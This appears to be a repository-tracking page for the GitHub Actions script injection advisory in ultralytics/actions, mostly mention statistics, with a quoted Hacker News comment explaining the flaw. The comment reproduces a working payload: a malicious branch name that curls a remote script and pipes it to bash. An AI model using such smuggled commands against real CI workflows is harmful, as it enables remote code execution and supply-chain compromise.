BObo0tzz·Dec 7, 2024Submission
GitHub Actions Script Injection in ultralytics/actions
1 points · Open discussionadvisories
ghsa-7x29-qqmq-v6qc
HISTORICAL RECORD2024–2024
advisories / ghsa-7x29-qqmq-v6qc · Not publicly available
ghsa-7x29-qqmq-v6qc
Discover this repository through its Hacker News conversations.
2Distinct people
2Mentions
0Explicit recommenders
What to know before exploring
What it is
A public description has not been verified.
Where it is used
No documented product use has been verified yet.
What people are saying
No recommendation phrase was found in the indexed comments.
No classified warning is attached to this page. Read the discussions before treating silence as approval.
Also in these discussions
No other repository is repeatedly linked in the same discussions.
This week on Hacker News
Nov 7–Nov 14 UTC · Direct repository links and separately labeled related project stories. Indexed through 11/14/2026, 5:04:57 PM UTC.
No direct repository links were found in the indexed HN discussions over the past seven days. Older discussions are available below.
Mentions over time
HN mentions by hour2 dated mentions
Observed mentions: 2024-12-06 09:14:48 UTC to 2024-12-07 10:31:40 UTC.
Counts come from the repository’s dated source evidence. Index cutoff: 2026-11-02 08:16:59 UTC.
View mention counts and date ranges
| Period | Start (UTC) | End (exclusive, UTC) | Mentions | Submissions | Comments |
|---|---|---|---|---|---|
| Dec 6, 09:00 | 2024-12-06 09:00:00 UTC | 2024-12-06 10:00:00 UTC | 1 | 0 | 1 |
| Dec 6, 10:00 | 2024-12-06 10:00:00 UTC | 2024-12-06 11:00:00 UTC | 0 | 0 | 0 |
| Dec 6, 11:00 | 2024-12-06 11:00:00 UTC | 2024-12-06 12:00:00 UTC | 0 | 0 | 0 |
| Dec 6, 12:00 | 2024-12-06 12:00:00 UTC | 2024-12-06 13:00:00 UTC | 0 | 0 | 0 |
| Dec 6, 13:00 | 2024-12-06 13:00:00 UTC | 2024-12-06 14:00:00 UTC | 0 | 0 | 0 |
| Dec 6, 14:00 | 2024-12-06 14:00:00 UTC | 2024-12-06 15:00:00 UTC | 0 | 0 | 0 |
| Dec 6, 15:00 | 2024-12-06 15:00:00 UTC | 2024-12-06 16:00:00 UTC | 0 | 0 | 0 |
| Dec 6, 16:00 | 2024-12-06 16:00:00 UTC | 2024-12-06 17:00:00 UTC | 0 | 0 | 0 |
| Dec 6, 17:00 | 2024-12-06 17:00:00 UTC | 2024-12-06 18:00:00 UTC | 0 | 0 | 0 |
| Dec 6, 18:00 | 2024-12-06 18:00:00 UTC | 2024-12-06 19:00:00 UTC | 0 | 0 | 0 |
| Dec 6, 19:00 | 2024-12-06 19:00:00 UTC | 2024-12-06 20:00:00 UTC | 0 | 0 | 0 |
| Dec 6, 20:00 | 2024-12-06 20:00:00 UTC | 2024-12-06 21:00:00 UTC | 0 | 0 | 0 |
| Dec 6, 21:00 | 2024-12-06 21:00:00 UTC | 2024-12-06 22:00:00 UTC | 0 | 0 | 0 |
| Dec 6, 22:00 | 2024-12-06 22:00:00 UTC | 2024-12-06 23:00:00 UTC | 0 | 0 | 0 |
| Dec 6, 23:00 | 2024-12-06 23:00:00 UTC | 2024-12-07 00:00:00 UTC | 0 | 0 | 0 |
| Dec 7, 00:00 | 2024-12-07 00:00:00 UTC | 2024-12-07 01:00:00 UTC | 0 | 0 | 0 |
| Dec 7, 01:00 | 2024-12-07 01:00:00 UTC | 2024-12-07 02:00:00 UTC | 0 | 0 | 0 |
| Dec 7, 02:00 | 2024-12-07 02:00:00 UTC | 2024-12-07 03:00:00 UTC | 0 | 0 | 0 |
| Dec 7, 03:00 | 2024-12-07 03:00:00 UTC | 2024-12-07 04:00:00 UTC | 0 | 0 | 0 |
| Dec 7, 04:00 | 2024-12-07 04:00:00 UTC | 2024-12-07 05:00:00 UTC | 0 | 0 | 0 |
| Dec 7, 05:00 | 2024-12-07 05:00:00 UTC | 2024-12-07 06:00:00 UTC | 0 | 0 | 0 |
| Dec 7, 06:00 | 2024-12-07 06:00:00 UTC | 2024-12-07 07:00:00 UTC | 0 | 0 | 0 |
| Dec 7, 07:00 | 2024-12-07 07:00:00 UTC | 2024-12-07 08:00:00 UTC | 0 | 0 | 0 |
| Dec 7, 08:00 | 2024-12-07 08:00:00 UTC | 2024-12-07 09:00:00 UTC | 0 | 0 | 0 |
| Dec 7, 09:00 | 2024-12-07 09:00:00 UTC | 2024-12-07 10:00:00 UTC | 0 | 0 | 0 |
| Dec 7, 10:00 | 2024-12-07 10:00:00 UTC | 2024-12-07 11:00:00 UTC | 1 | 1 | 0 |
What Hacker News says
2 sourcesPretty interesting hack. It injects code that’s being run in a GitHub script.
The script runs:
echo "github.event.pull_request.head.ref: ${{ github.event.pull_request.head.ref }}"
echo "github.ref: ${{ github.ref }}"
echo "github.head_ref: ${{ github.head_ref }}"
echo "github.base_ref: ${{ github.base_ref }}"
Unfortunately, because of string escaping in bash, if you run:
${{ github.event.pull_request.head.ref }}
And someone makes a pull request with this branch name (I didn’t even know git let you name branches like this):
Hacked";{curl,-sSfL,gist.githubusercontent.com/RampagingSloth/6dc549d083b2da1a54d22cc4feac53a4/raw/4b7499772c53085aeedf459d822aee277b5f17a0/poc.sh}${IFS}|${IFS}bash
You get code injection.
This is security advisory:
https://github.com/advisories/GHSA-7x29-qqmq-v6qc
In Discrepancy between what's in GitHub and what's been published to PyPI